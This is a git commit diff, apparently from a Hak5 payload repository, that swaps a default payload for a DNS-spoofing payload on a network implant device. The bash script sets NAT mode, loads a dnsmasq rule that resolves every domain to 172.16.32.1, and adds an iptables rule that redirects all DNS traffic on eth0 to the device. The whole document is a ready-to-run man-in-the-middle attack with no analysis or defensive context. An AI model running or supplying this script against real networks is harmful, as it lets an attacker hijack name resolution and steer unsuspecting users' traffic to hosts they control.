Uploaded Default Switch 2 Payload

pull/34/head
cyrus104 2020-07-09 13:38:14 +07:00 committed by GitHub
parent 86639f17b7
commit 14da80aa0d
No known key found for this signature in database
GPG Key ID: 4AEE18F83AFDEB23
2 changed files with 28 additions and 10 deletions

View File

@ -1,12 +1,29 @@
#!/bin/bash
#
# Title: Default Payload
# Description: Sets the NETMODE to NAT, then sets the LED to ATTACK
# Author: Hak5
# Version: 1.0
# Category: default
# Target: Any
# Net Mode: NAT
# DNSSpoof payload
NETMODE NAT
LED ATTACK
function setup() {
# Show SETUP LED
LED SETUP
# Set the network mode to NAT
NETMODE NAT
sleep 5
# Copy the spoofhost file to /tmp/dnsmasq.address
cp $(dirname ${BASH_SOURCE[0]})/spoofhost /tmp/dnsmasq.address &> /dev/null
# Restart dnsmasq with the new configuration
/etc/init.d/dnsmasq restart
}
function run() {
# Show ATTACK LED
LED ATTACK
# Redirect all DNS traffic to ourselves
iptables -A PREROUTING -t nat -i eth0 -p udp --dport 53 -j REDIRECT --to-port 53
}
setup
run

View File

@ -0,0 +1 @@
address=/#/172.16.32.1